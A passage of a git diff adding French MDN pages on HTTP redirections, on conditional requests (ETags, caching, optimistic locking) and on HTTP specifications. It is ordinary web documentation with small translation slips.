+<p>Lorsque vous restructurez des sites Web, les URL des ressources changent. Même si vous pouvez mettre à jour les liens internes de votre site Web pour qu'ils correspondent au nouveau schéma de nommage, vous n'avez aucun contrôle sur les URL utilisées par les ressources externes. Vous ne voulez pas briser ces liens, car ils vous apportent des utilisateurs précieux (et aident votre référencement), donc vous configurez des redirections depuis les anciennes URL vers les nouvelles.</p>
+
+<div class="note">
+<p>Même si cette technique fonctionne également pour les liens internes, vous devriez éviter d'avoir des redirections internes. Une redirection a un coût significatif sur les performances (car une requête HTTP supplémentaire est faite) et si vous pouvez l'éviter en corrigeant les liens internes, vous devez corriger ces liens.</p>
+</div>
+
+<h3 id="Réponses_temporaires_aux_requêtes_non_sécurisées">Réponses temporaires aux requêtes non sécurisées</h3>
+
+<p>Les requêtes {{Glossary("safe", "Unsafe")}} modifient l'état du serveur et l'utilisateur ne devrait pas les rejouer par inadvertance. Typiquement, vous ne voulez pas que vos utilisateurs renvoient des requêtes {{HTTPMethod("PUT")}}, {{HTTPMethod("POST")}} ou {{HTTPMethod("DELETE")}}. Si vous ne vous contentez que d'envoyer la réponse à la suite de cette requête, une simple clic sur le bouton de rechargement (éventuellement après un message de confirmation), renvoie la demande.</p>
+
+<p>Dans ce cas, le serveur peut renvoyer une réponse {{HTTPStatus("303")}} (See Other) qui contiendra les bonnes informations, mais si le bouton de rechargement est pressé, seule cette page est réaffichée, sans rejouer les demandes non sécurisées.</p>
+
+<h3 id="Réponses_temporaires_aux_longues_requêtes">Réponses temporaires aux longues requêtes</h3>
+
+<p>Certaines requêtes peuvent nécessiter plus de temps sur le serveur comme parfois des requêtes {{HTTPHeader("DELETE")}} qui sont planifiés pour un traitement ultérieur. Dans ce cas, la réponse est un {{HTTPStatus("303")}} (See Other) qui renvoie à une page indiquant que l'action a été programmée, et informe éventuellement de l'avancement de l'action, ou permet de l'annuler.</p>
+
+<h2 id="Configuration_des_redirections_dans_les_serveurs_les_plus_courants">Configuration des redirections dans les serveurs les plus courants</h2>
+
+<h3 id="Apache">Apache</h3>
+
+<p>Les redirections peuvent être définies soit dans le fichier de configuration du serveur, soit dans le fichier <code>.htaccess</code> de chaque répertoire.</p>
+
+<p>Le module <a href="https://httpd.apache.org/docs/current/mod/mod_alias.html">mod_alias</a> a des directives <code>Redirect</code> et <code>RedirectMatch</code> qui définissent une réponse {{HTTPStatus("302")}} (par défaut):</p>
+
+<pre>&lt;VirtualHost *:80&gt;
+	ServerName example.com
+	Redirect / http://www.example.com
+&lt;/VirtualHost&gt;
+</pre>
+
+<p>L'URL <code>http://example.com/</code> sera redirigée vers <code>http://www.example.com/</code>, ainsi que les fichiers ou répertoires qui s'y trouvent (<code>http://example.com/index.html</code> sera redirigée vers <code>http://www.example.com/index.html</code>)</p>
+
+<p><code>RedirectMatch</code> fait la même chose mais prend une expression régulière pour définir une liste d'URLs concernées:</p>
+
+<pre>RedirectMatch ^/images/(.*)$ http://images.example.com/$1</pre>
+
+<p>Tous les documents dans le répertoire <code>images/</code> seront redirigés vers un autre domaine.</p>
+
+<p>Si vous ne souhaitez pas configurer une redirection temporaire, un paramètre supplémentaire (soit le code d'état HTTP à utiliser, soit le mot clé <code>permanent</code>) peut être utilisé pour configurer un autre type de redirection:</p>
+
+<pre>Redirect permanent / http://www.example.com
+Redirect 301 / http://www.example.com
+</pre>
+
+<p>Le module <a href="http://httpd.apache.org/docs/current/mod/mod_rewrite.html">mod_rewrite</a> peut également être utilisé pour créer des redirections. Il est plus flexible, mais un peu plus complexe à utiliser.</p>
+
+<h3 id="Nginx">Nginx</h3>
+
+<p>Dans Nginx, vous créez un bloc <code>server</code> spécifique pour le contenu que vous voulez rediriger:</p>
+
+<pre>server {
+	listen 80;
+	server_name example.com;
+	return 301 $scheme://www.example.com$request_uri;
+}</pre>
+
+<p>Pour appliquer une redirection pour un dossier ou un sous-ensemble de pages uniquement, utilisez la directive <code>rewrite</code>:</p>
+
+<pre>rewrite ^/images/(.*)$ http://images.example.com/$1 redirect;
+rewrite ^/images/(.*)$ http://images.example.com/$1 permanent;
+</pre>
+
+<h3 id="IIS">IIS</h3>
+
+<p>Dans IIS, vous devez utiliser l'élément <code><a href="https://www.iis.net/configreference/system.webserver/httpredirect">&lt;httpRedirect&gt;</a></code> pour configurer les redirections.</p>
+
+<h2 id="Boucles_de_redirection">Boucles de redirection</h2>
+
+<p>Les boucles de redirection se produisent lorsque lorsque les redirections se succèdent en suivant celle déjà effectuée. En d'autres termes, il y a une boucle qui ne terminera jamais et aucune page ne sera finalement trouvée.</p>
+
+<p>La plupart du temps, il s'agit d'un problème de serveur, et si le serveur ne peut pas le détecter, il renvoie le message {{HTTPStatus("500")}} <code>Internal Server Error</code>. Si vous rencontrez une telle erreur peu après avoir modifié une configuration de serveur, il s'agit probablement d'une boucle de redirection.</p>
+
+<p>Parfois, le serveur ne le détecte pas : une boucle de redirection peut s'étendre sur plusieurs serveurs qui n'ont pas une vue globale de ce qui se passe. Dans ce cas, les navigateurs le détecteront et afficheront un message d'erreur. Firefox affichera:</p>
+
+<pre class="bz_comment_text" id="comment_text_0">Firefox a détecté que le serveur redirige la demande pour cette adresse d'une manière qui n'aboutira pas.
+</pre>
+
+<p>tandis que Chrome affichera:</p>
+
+<pre>Cette page Web présente une boucle de redirection</pre>
+
+<p>Dans les deux cas, l'utilisateur ne peut pas faire grand-chose (à moins qu'une corruption ne se produise de son côté, comme une inadéquation du cache ou des cookies).</p>
+
+<p>Il est important d'éviter les boucles de redirection car elles perturbent complètement l'expérience utilisateur.</p>
diff --git a/files/fr/web/http/requêtes_conditionnelles/index.html b/files/fr/web/http/requêtes_conditionnelles/index.html
new file mode 100644
index 0000000000..922b07a2fd
--- /dev/null
+++ b/files/fr/web/http/requêtes_conditionnelles/index.html
@@ -0,0 +1,147 @@
+---
+title: 'HTTP : Requêtes conditionnelles'
+slug: Web/HTTP/Requêtes_conditionnelles
+tags:
+  - Guide
+  - HTTP
+  - Requêtes Conditionnelles
+translation_of: Web/HTTP/Conditional_requests
+---
+<p>{{HTTPSidebar}}</p>
+
+<p class="summary">HTTP a un concept de requête conditionnelle où le résultat, et même le succés d'une requête, peut être changé en comparant les ressources affectées avec la valeur d'un validateur. De telles requêtes peuvent être utiles pour valider le contenu d'un cache et mettre de côté un contrôle inutile pour vérifier l'intégrité d'un document, comme le sommaire d'un téléchargement, ou éviter de perdre des mises à jour quand on télécharge ou modifie un document sur le serveur.</p>
+
+<h2 id="Principes">Principes</h2>
+
+<p>Les requêtes conditionnelles HTTP s'exécutent différemment en fonction de la valeur spécifique des en-têtes. Ces en-têtes définissent une condition de départ (pré-condition) et le résultat de la requête sera différent selon que la pré-condition est satisfaite ou non.</p>
+
+<p>Les comportements différents sont définis par la méthode qu'utilise la requête et par un ensemble d'en-têtes propres aux préconditions :</p>
+
+<ul>
+ <li>Pour une méthode {{glossary("safe")}} comme {{HTTPMethod("GET")}}, qui, habituellement va chercher un document, la requête conditionnelle peut renvoyer le document si c'est pertinent seulement. Cela économise de la bande passante.</li>
+ <li>Pour les méthodes {{glossary("safe", "unsafe")}} comme {HTTPMethod("PUT")}}, qui charge habituellement un document, la requête conditionnelle peut servir à charger le document, uniquement si l'original sur lequel la requête est basée est le même que celui stocké sur le serveur.</li>
+</ul>
+
+<h2 id="Validateurs">Validateurs</h2>
+
+<p>Toutes les en-têtes conditionnelles vérifient si la ressource stockée sur le serveur correspond à une version spécifique. Pour accomplir ceci, la requête conditionnelle doit préciser la version de la ressource car comparer l'ensemble bit à bit n'est pas faisable et pas toujours désiré non plus. La requête transmet une valeur qui caractérise la version. Ces valeurs sont appelées validateurs et il y en a de deux sortes :</p>
+
+<ul>
+ <li>La date de dernière modification du document, la dernière date modifiée.</li>
+ <li>une chaîne de caractére sans signification particulière identifiant uniquement chaque version. On l'appelle "étiquette d'entité" ou "etag".</li>
+</ul>
+
+<p>Comparer les versions d'une même ressource est un peu délicat : en fonction du contexte, il y a deux sortes de vérification d'équivalence :</p>
+
+<ul>
+ <li><em>Une validation forte </em>est utilisée quand une vérification bit à bit est demandé, par exemple pour reprendre un téléchargement.</li>
+ <li><em>Une validation faible </em>est utilisée quand l'agent-utilisateur doit seulement déterminer si deux ressources ont le même contenu. Ils sont égaux même s'ils ont des différences minimes comme des publicités différentes ou un pied de page (footer) avec une date différente.</li>
+</ul>
+
+<p>La sorte de la vérification est indépendante du validateur utilisé.  {{HTTPHeader("Last-Modified")}} et {{HTTPHeader("ETag")}}  permettent les deux tupes de validation bien que la complexité d'implémentation côté serveur soit variable.  HTTP se sert de la validation forte par défaut et spécifie quand la validation faible peut être employée.</p>
+
+<h3 id="Validation_forte">Validation forte</h3>
+
+<p id="sect1">La validation forte consiste à garantir que la ressource est identique à celle à laquelle elle est comparée, au bit prés. C'est obligatoire pour certaines en-têtes et le défaut pour les autres. La validation forte est stricte et peut être difficile à garantir côté serveur mais cela garantit qu'à aucun moment une donnée n'est perdu, parfois au détriment de la performance.</p>
+
+<p>Il est assez difficile d'avoir un identifiant unique pour la validation forte avec {{HTTPHeader("Last-Modified")}}. On le fait souvent en employant une {{HTTPHeader("ETag")}} avec le hachage MD5 de la ressource(ou un dérivé).</p>
+
+<h3 id="Validation_faible">Validation faible</h3>
+
+<p>La validation faible différe de la validation forte car elle considère que deux versions du document ayant le même contenu sont équivalentes. Par exemple, une page qui différerait d'une autre seulement par sa date dans le pied de page ou une publicité, sera considérée identique à l'autre avec la validation faible. Ces mêmes deux versions seront évaluées comme étant différentes avec la validation forte. Construire un système d'ETags pour la validation faible peut être complexe car cela induit de connaître l'importance des différents éléments de la page mais est trés utile dans le but d'optimiser les performances du cache.</p>
+
+<h2 id="En-têtes_conditionnelles">En-têtes conditionnelles</h2>
+
+<p>Plusieurs en-têtes HTTP, appelées en-têtes conditionelles, apportent des conditions aux reques. Ce sont :</p>
+
+<dl>
+ <dt>{{HTTPHeader("If-Match")}}</dt>
+ <dd>Succés si la {{HTTPHeader("ETag")}} de la ressource distante est égale à une de celles listées dans cette en-tête. Par défaut, à moins que l'etag soit préfixée <code>'W/'</code>, c'est une validation forte. it performs a strong validation.</dd>
+ <dt>{{HTTPHeader("If-None-Match")}}</dt>
+ <dd>Succés si la {{HTTPHeader("ETag")}} de la ressource distante est différente de toutes celles listées dans l'en-tête. Par défaut, à moins que l'etag soit préfixée <code>'W/'</code>, c'est une validation forte.</dd>
+ <dt>{{HTTPHeader("If-Modified-Since")}}</dt>
+ <dd>Succés si la date {{HTTPHeader("Last-Modified")}} de la ressource distante est plus récente que celle donnée dans l'en-tête.</dd>
+ <dd></dd>
+ <dt>{{HTTPHeader("If-Unmodified-Since")}}</dt>
+ <dd>Succés si la date {{HTTPHeader("Last-Modified")}} de la ressource distante est plus ancienne ou égale à celle donnée dans l'en-tête.</dd>
+ <dt>{{HTTPHeader("If-Range")}}</dt>
+ <dd>Similaire à {{HTTPHeader("If-Match")}}, ou {{HTTPHeader("If-Unmodified-Since")}}, mais peut n'avoir qu'une seule etag, ou une date. Si ça ne colle pas, la requête est rejetée et à la place d'un statut de réponse {{HTTPStatus("206")}} <code>Partial Content</code> , un {{HTTPStatus("200")}} <code>OK</code> est envoyé avec la totlité de la ressource.</dd>
+</dl>
+
+<h2 id="Cas_d'utilisation">Cas d'utilisation</h2>
+
+<h3 id="Mise_à_jour_du_Cache">Mise à jour du Cache</h3>
+
+<p>Le cas d'utilisation le plus commun pour les requêtes conditionnelles est la mise à jour du cache. Avec un cache vide ou absent, la ressource demandée est renvoyée avec un statut {{HTTPStatus("200")}} <code>OK</code>.</p>
+
+<p><img alt="The request issued when the cache is empty triggers the resource to be downloaded, with both validator value sent as headers. The cache is then filled." src="https://mdn.mozillademos.org/files/13729/Cache1.png" style="height: 265px; width: 741px;"></p>
+
+<p>Dans la ressource les validateurs sont renvoyés dans les en-têtes. Dans cet exemple, deux validateurs {{HTTPHeader("Last-Modified")}} et  {{HTTPHeader("ETag")}} sont envoyés mais il pourrait tout aussi bien n'y en avoir qu'un. Ces validateurs sont en cache avec la ressource (comme toutes les en-têtes) et seront utilisés pour embarquer les requêtes conditionnelles quand le cache est périmé.</p>
+
+<p>Tant que le cache n'est pas obsolète, aucune requête n'esst publiée. Mais une fois qu'il est dépassé, il est principalement contrôlé par l'en-tête {{HTTPHeader("Cache-Control")}} , le client n'utilise pas directement la valeur en cache mais publie une requête conditionnelle. La valeur du validateur est employé comme paramètre des en-têtes {{HTTPHeader("If-Modified-Since")}} et {{HTTPHeader("If-Match")}}.</p>
+
+<p>Si la ressource n'a pas changé, le serveur renvoie une réponse {{HTTPStatus("304")}} <code>Not Modified</code>. Cela rafraîchit le cache et le client peut se servir de la valeur en cache. Bien qu'il y ait un aller-retour requête-réponse qui consomme quelques ressources, cette méthode est plus efficace que de transmettre à nouveau la totalité de la ressource via le réseau.</p>
+
+<p><img alt="With a stale cache, the conditional request is sent. The server can determine if the resource changed, and, as in this case, decide not to send it again as it is the same." src="https://mdn.mozillademos.org/files/13731/HTTPCache2.png" style="height: 265px; width: 741px;"></p>
+
+<p>Si la ressource n'a pas changée, le serveur renvoie juste une réponse  {{HTTPStatus("200")}}<code> OK</code> avec la nouvelle version de la ressource comme si la requête n'était pas conditionnelle et le client utilise cette nouvelle ressource et la met en cache.</p>
+
+<p><img alt="In the case where the resource was changed, it is sent back as if the request wasn't conditional." src="https://mdn.mozillademos.org/files/13733/HTTPCache3.png"></p>
+
+<p>De plus, la configuration des validateurs côté serveur est totalement transparente : tous les navigateurs gèrent un cache et envoient de telles requêtes conditionnelles sans que cela ne nécessite de travail supplémentaire de la part du développeur.</p>
+
+<h3 id="Intégrité_d'un_téléchargement_partiel">Intégrité d'un téléchargement partiel</h3>
+
+<p>Un téléchargement partiel de fichiers est une fonctionnalité de HTTP qui permet de reprendre des opérations en cours en économisant de la bande passante et du temps en conservant les données déjà reçues :</p>
+
+<p><img alt="A download has been stopped and only partial content has been retrieved." src="https://mdn.mozillademos.org/files/16190/HTTPResume1.png" style="height: 397px; width: 764px;"></p>
+
+<p>Un serveur qui supporte le téléchargement partiel le diffuse en envoyant une en-tête {{HTTPHeader("Accept-Ranges")}}. Quand il la reçoit, le client peut reprendre le téléchargement en envoyant une en-tête de requête {{HTTPHeader("Ranges")}} avec les données manquantes :</p>
+
+<p><img alt="The client resumes the requests by indicating the range he needs and preconditions checking the validators of the partially obtained request." src="https://mdn.mozillademos.org/files/13737/HTTPResume2.png"></p>
+
+<p>Le principe est simple mais il y a un problème potentiel : si la ressource téléchargée a été modifiée entre deux téléchargements, les données reçues correspondront à deux versions différentes de la ressource et le fichier final sera corrompu. Pour prévenir cela, des en-têtes conditionnelles sont employées.  Il y a deux manières de faire : la plus flexible se sert de {{HTTPHeader("If-Modified-Since")}} et de  {{HTTPHeader("If-Match")}}, le serveur retourne alors une erreur si la "pré-condition" n'est pas satisfaite et le client reprend le téléchargement depuis le début :</p>
+
+<p><img alt="When the partially downloaded resource has been modified, the preconditions will fail and the resource will have to be downloaded again completely." src="https://mdn.mozillademos.org/files/13739/HTTPResume3.png"></p>
+
+<p>Même si cette méthode marche, elle ajoute un échange requête/réponse quand le document a été modifié. Cela impacte la performance et HTTP a prévu une en-tête spécifique pour éviter ce scénario : {{HTTPHeader("If-Range")}}:</p>
+
+<p><img alt="The If-Range headers allows the server to directly send back the complete resource if it has been modified, no need to send a 412 error and wait for the client to re-initiate the download." src="https://mdn.mozillademos.org/files/13741/HTTPResume4.png" style="height: 263px; width: 770px;"></p>
+
+<p>Cette solution est plus efficace mais légèrement moins flexible puisqu' une etag seulement peut être utilisée dans la condition. On a rarement besoin d'une telle flexibilité additionnelle.</p>
+
+<h3 id="Èviter_les_problèmes_de_perte_de_mise_à_jour_avec_le_verrouillage_optimiste">Èviter les problèmes de perte de mise à jour avec le "verrouillage optimiste"</h3>
+
+<p>Une opération commune des applications web est la mise à jour de document distants. C'est trés usuel dans tout système de fichiers ou dans les applications de contrôle de source et toute application qui permet de stocker des ressources distantes a besoin de ce mécanisme. Les sites comme les wikis et autres CMS s'en servent habituellement.</p>
+
+<p>Vous pouvez l'implémenter avec la méthode {{HTTPMethod("PUT")}}. Le client lit d'abord les fichiers originaux, les modifie et finalement, les envoie au serveur.</p>
+
+<p><img alt="Updating a file with a PUT is very simple when concurrency is not involved." src="https://mdn.mozillademos.org/files/13743/HTTPLock1.png"></p>
+
+<p>Cependant, les choses deviennent un peu moins précises dés que l'on parle de simultanéité des comptes. Pendant qu'un client est en train de modifier  localement sa nouvelle copie de la ressource, un second client peut récupérer la même ressource et faire de même avec sa copie. Ce qui arrive ensuite est regrettable : quand ils enregistrent les modifications sur le serveur, celles du premier client sont écartées par l'enregistrement du second client qui n'est pas au courant des changements effectués sur la ressource par le premier client. Le choix qui est fait n'est pas communiqué aux autres protagonistes. Les changements adoptés changeront avec la vitesse d'enregistrement, ce qui dépend de la performance des clients, des serveurs et même de l'humain qui édite le document sur le client. Le "gagnant" changera d'une fois à l'autre. C'est donc une "course des conditions" ({{glossary("race condition")}}) qui conduit à des comportements problématiques difficiles à cerner et à débugger.</p>
+
+<p><img alt="When several clients update the same resource in parallel, we are facing a race condition: the slowest win, and the others don't even know they lost. Problematic!" src="https://mdn.mozillademos.org/files/13749/HTTPLock2.png" style="height: 504px; width: 904px;"></p>
+
+<p>Il n'existe aucune manière de gérer ce problème sans ennuyer l'un ou l'autre client. De toutes façons, les mises à jour perdues et la "course des conditions" sont appelées à disparaître. Nous voulons des résultats prévisibles et être notifiés quand les changements sont rejetés.</p>
+
+<p>Les requêtes conditionnelles permettent d'implémenter l'algorithme de contrôle de concurrence (<em>o</em><em>ptimistic locking algorithm) </em>utilisé par la plupart des wikis ou systèmes de contrôle des sources. Le concept est de permettre au client d'avoir des copies de la ressource, les laisser se modifier localement puis de contrôler la mise en concurrence en autorisant celles du premier client soumettant une mise à jour. Toutes les mises à jour ultèrieures basées sur la version maintenant obsolète sont rejetées :</p>
+
+<p><img alt="Conditional requests allow to implement optimistic locking: now the quickest wins, and the others get an error." src="https://mdn.mozillademos.org/files/13751/HTTPLock3.png" style="height: 471px; width: 904px;"></p>
+
+<p>Ce ci est implémenté par les en-têtes {{HTTPHeader("If-Match")}} ou {{HTTPHeader("If-Unmodified-Since")}} . Si l'etag ne correspond pas au fichier original ou si le fichier a été modifié depuis son obtention, le changement est alors simplement rejeté avec une erreur {{HTTPStatus("412")}} <code>Precondition Failed</code>. C'est maintenant à l'initiative du client que se réglera l'erreur : soit en prévenant le client de redémarrer avec la nouvelle version, soit en présentant au client les différences entre les deux versions pour l'aider à choisir les modifications à conserver.</p>
+
+<h3 id="Gérer_le_premier_téléchargement_d'une_ressource">Gérer le premier téléchargement d'une ressource</h3>
+
+<p>Le premier téléchargement d'une ressource est un des cas résultant du comportement précédent. Comme toute mise à jour d'une ressource, le téléchargement va faire l'objet d'une "course des conditions" si deux clients essaient un enregistrement au même instant. Pour éviter cela, les en-têtes conditionnelles peuvent être employées : on ajoute {{HTTPHeader("If-None-Match")}} avec la valeur particulière <code>'*'</code>, représentant n'importe quelle etag. La requête aboutira seulement si la ressource n'existait pas avant :</p>
+
+<p><img alt="Like for a regular upload, the first upload of a resource is subject to a race condition: If-None-Match can prevent it." src="https://mdn.mozillademos.org/files/13753/HTTPFirst.png" style="height: 311px; width: 895px;"></p>
+
+<p><code>If-None-Match</code> fonctionnera seulement avec les serveurs compatibles HTTP/1.1 (et postérieur). Si vous n'êtes pas sûr que le serveur le soit, vous devez d'abord envoyer une requête {{HTTPMethod("HEAD")}} à la ressource pour vérifier.</p>
+
+<h2 id="Conclusion">Conclusion</h2>
+
+<p>Les requêtes conditionnelles sont une fonctionnalité essentielle d'HTTP et permettent la construction d'applications efficaces et complexes. Pour le cache et la reprise des téléchargements, la seule obligation du webmaster est de configurer le serveur correctement, en paramètrant les bonnes etags : dans certains environnements, c'est un véritable défi. Une fois cela fait, le serveur renverra les requêtes conditionnelles adaptées.</p>
+
+<p>Pour verrouiller ces dispositifs, c'est l'inverse : les développeurs web devront publier une requête avec les en-têtes appropriées tandis que les webmasters peuvent en général se fier à l'application pour effectuer ces vérifications.</p>
+
+<p>Dans les deux cas, c'est clair, les requêtes conditionnelles sont une des fonctionnalités essentielles du Web.</p>
diff --git a/files/fr/web/http/resources_and_specifications/index.html b/files/fr/web/http/resources_and_specifications/index.html
new file mode 100644
index 0000000000..5e1b2dc494
--- /dev/null
+++ b/files/fr/web/http/resources_and_specifications/index.html
@@ -0,0 +1,268 @@
+---
+title: Ressources et spécifications sur HTTP
+slug: Web/HTTP/Resources_and_specifications
+tags:
+  - Guide
+  - HTTP
+translation_of: Web/HTTP/Resources_and_specifications
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>HTTP a été spécifié pour la première fois au début des années 1990. Conçu dans un souci d'extensibilité, il a fait l'objet de nombreux ajouts au fil des ans, ce qui a entraîné la dispersion de sa spécification dans de nombreux documents de spécification (au milieu d'extensions expérimentales abandonnées). Cette page répertorie les ressources pertinentes sur HTTP.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Titre</th>
+   <th scope="col">Statut</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{rfc(7230)}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing</td>
+   <td>Proposition de norme</td>
+  </tr>
+  <tr>
+   <td>{{rfc(7231)}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+   <td>Proposition de norme</td>
+  </tr>
+  <tr>
+   <td>{{rfc(7232)}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Conditional Requests</td>
+   <td>Proposition de norme</td>
+  </tr>
+  <tr>
+   <td>{{rfc(7233)}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Range Requests</td>
+   <td>Proposition de norme</td>
+  </tr>
+  <tr>
+   <td>{{rfc(7234)}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Caching</td>
+   <td>Proposition de norme</td>
+  </tr>
+  <tr>
+   <td>{{rfc(5861)}}</td>
+   <td>HTTP Cache-Control Extensions for Stale Content</td>
+   <td>Information</td>
+  </tr>
+  <tr>
+   <td>{{rfc(8246)}}</td>
+   <td>HTTP Immutable Responses</td>
+   <td>Proposition de norme</td>
+  </tr>
+  <tr>
+   <td>{{rfc(7235)}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Authentication</td>
+   <td>Proposition de norme</td>
+  </tr>
+  <tr>
+   <td>{{rfc(6265)}}</td>
+   <td>HTTP State Management Mechanism<br>
+    <em>Defines Cookies</em></td>
+   <td>Proposition de norme</td>
+  </tr>
+  <tr>
+   <td><a href="https://tools.ietf.org/html/draft-ietf-httpbis-cookie-prefixes-00">Draft spec</a></td>
+   <td>Cookie Prefixes</td>
+   <td>IETF Draft</td>
+  </tr>
+  <tr>
+   <td><a href="https://tools.ietf.org/html/draft-ietf-httpbis-cookie-same-site-00">Draft spec</a></td>
+   <td>Same-Site Cookies</td>
+   <td>IETF Draft</td>
+  </tr>
+  <tr>
+   <td><a href="https://tools.ietf.org/html/draft-ietf-httpbis-cookie-alone-01">Draft spec</a></td>
+   <td>Deprecate modification of 'secure' cookies from non-secure origins</td>
+   <td>IETF Draft</td>
+  </tr>
+  <tr>
+   <td>{{rfc(2145)}}</td>
+   <td>Use and Interpretation of HTTP Version Numbers</td>
+   <td>Information</td>
+  </tr>
+  <tr>
+   <td>{{rfc(6585)}}</td>
+   <td>Additional HTTP Status Codes</td>
+   <td>Proposition de norme</td>
+  </tr>
+  <tr>
+   <td>{{rfc(7538)}}</td>
+   <td>The Hypertext Transfer Protocol Status Code 308 (Permanent Redirect)</td>
+   <td>Proposition de norme</td>
+  </tr>
+  <tr>
+   <td>{{rfc(7725)}}</td>
+   <td>An HTTP Status Code to Report Legal Obstacles</td>
+   <td>En cours de normalisation</td>
+  </tr>
+  <tr>
+   <td>{{rfc(2397)}}</td>
+   <td>The "data" URL scheme</td>
+   <td>Proposition de norme</td>
+  </tr>
+  <tr>
+   <td>{{rfc(3986)}}</td>
+   <td>Uniform Resource Identifier (URI): Generic Syntax</td>
+   <td>Standard Internet</td>
+  </tr>
+  <tr>
+   <td>{{rfc(5988)}}</td>
+   <td>Web Linking<br>
+    <em>Defines the {{HTTPHeader("Link")}} header</em></td>
+   <td>Proposition de norme</td>
+  </tr>
+  <tr>
+   <td><a href="https://tools.ietf.org/id/draft-thomson-hybi-http-timeout-01.html">Experimental spec</a></td>
+   <td>Hypertext Transfer Protocol (HTTP) Keep-Alive Header</td>
+   <td>Information (Expirée)</td>
+  </tr>
+  <tr>
+   <td><a href="http://httpwg.org/http-extensions/client-hints.html">Draft spec</a></td>
+   <td>HTTP Client Hints</td>
+   <td>IETF Draft</td>
+  </tr>
+  <tr>
+   <td>{{rfc(7578)}}</td>
+   <td>Returning Values from Forms: multipart/form-data</td>
+   <td>Proposition de norme</td>
+  </tr>
+  <tr>
+   <td>{{rfc(6266)}}</td>
+   <td>Use of the Content-Disposition Header Field in the Hypertext Transfer Protocol (HTTP)</td>
+   <td>Proposition de norme</td>
+  </tr>
+  <tr>
+   <td>{{rfc(2183)}}</td>
+   <td>Communicating Presentation Information in Internet Messages: The Content-Disposition Header Field<br>
+    <em>Only a subset of syntax of the {{HTTPHeader("Content-Disposition")}} header can be used in the context of HTTP messages.</em></td>
+   <td>Proposition de norme</td>
+  </tr>
+  <tr>
+   <td>{{rfc(7239)}}</td>
+   <td>Forwarded HTTP Extension</td>
+   <td>Proposition de norme</td>
+  </tr>
+  <tr>
+   <td>{{rfc(6455)}}</td>
+   <td>The WebSocket Protocol</td>
+   <td>Proposition de norme</td>
+  </tr>
+  <tr>
+   <td>{{rfc(5246)}}</td>
+   <td>The Transport Layer Security (TLS) Protocol Version 1.2<br>
+    <em>This specification has been modified by subsequent RFCs, but these modifications have no effect on the HTTP protocol.</em></td>
+   <td>Proposition de norme</td>
+  </tr>
+  <tr>
+   <td>{{rfc(8446)}}</td>
+   <td>The Transport Layer Security (TLS) Protocol Version 1.3<br>
+    <em>Supersedes TLS 1.2.</em></td>
+   <td>Proposition de norme</td>
+  </tr>
+  <tr>
+   <td>{{rfc(2817)}}</td>
+   <td>Upgrading to TLS Within HTTP/1.1</td>
+   <td>Proposition de norme</td>
+  </tr>
+  <tr>
+   <td>{{rfc(7540)}}</td>
+   <td>Hypertext Transfer Protocol Version 2 (HTTP/2)</td>
+   <td>Proposition de norme</td>
+  </tr>
+  <tr>
+   <td>{{rfc(7541)}}</td>
+   <td>HPACK: Header Compression for HTTP/2</td>
+   <td>En cours de normalisation</td>
+  </tr>
+  <tr>
+   <td>{{rfc(7838)}}</td>
+   <td>HTTP Alternative Services</td>
+   <td>En cours de normalisation</td>
+  </tr>
+  <tr>
+   <td>{{rfc(7301)}}</td>
+   <td>Transport Layer Security (TLS) Application-Layer Protocol Negotiation Extension<br>
+    <em>Used to negotiate HTTP/2 at the transport to save an extra request/response round trip.</em></td>
+   <td>Proposition de norme</td>
+  </tr>
+  <tr>
+   <td>{{rfc(6454)}}</td>
+   <td>The Web Origin Concept</td>
+   <td>Proposition de norme</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Fetch', '#cors-protocol', 'CORS')}}</td>
+   <td>Cross-Origin Resource Sharing</td>
+   <td>{{Spec2("Fetch")}}</td>
+  </tr>
+  <tr>
+   <td>{{rfc(7034)}}</td>
+   <td>HTTP Header Field X-Frame-Options</td>
+   <td>Information</td>
+  </tr>
+  <tr>
+   <td>{{rfc(6797)}}</td>
+   <td>HTTP Strict Transport Security (HSTS)</td>
+   <td>Proposition de norme</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("Upgrade Insecure Requests")}}</td>
+   <td>Upgrade Insecure Requests</td>
+   <td>{{Spec2("Upgrade Insecure Requests")}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSP 1.0")}}</td>
+   <td>Content Security Policy 1.0<br>
+    <em>CSP 1.1 and CSP 3.0 doesn't extend the HTTP standard</em></td>
+   <td>{{Spec2("CSP 1.0")}}</td>
+  </tr>
+  <tr>
+   <td><a href="https://msdn.microsoft.com/en-us/library/jj676915(v=vs.85).aspx">Microsoft document</a></td>
+   <td>Specifying legacy document modes*<br>
+    <em>Defines X-UA-Compatible</em></td>
+   <td>Note</td>
+  </tr>
+  <tr>
+   <td>{{rfc(5689)}}</td>
+   <td>HTTP Extensions for Web Distributed Authoring and Versioning (WebDAV)<br>
+    <em>These extensions of the Web, as well as CardDAV and CalDAV, are out-of-scope for HTTP on the Web. Modern APIs for application are defines using the RESTful pattern nowadays.</em></td>
+   <td>Proposition de norme</td>
+  </tr>
+  <tr>
+   <td>{{rfc(2324)}}</td>
+   <td>Hyper Text Coffee Pot Control Protocol (HTCPCP/1.0)</td>
+   <td>Spec blague du 1er avril</td>
+  </tr>
+  <tr>
+   <td>{{rfc(7168)}}</td>
+   <td>The Hyper Text Coffee Pot Control Protocol for Tea Efflux Appliances (HTCPCP-TEA)</td>
+   <td>Spec blague du 1er avril</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML WHATWG")}}</td>
+   <td>HTML<br>
+    <em>Defines extensions of HTTP for Server-Sent Events</em></td>
+   <td>{{Spec2("HTML WHATWG")}}</td>
+  </tr>
+  <tr>
+   <td><a href="https://www.w3.org/2011/tracking-protection/drafts/tracking-dnt.html">Tracking Preference Expression</a></td>
+   <td>DNT header</td>
+   <td>Editor's draft / Candidate recommendation</td>
+  </tr>
+  <tr>
+   <td><a href="http://wicg.github.io/reporting/">Reporting API</a></td>
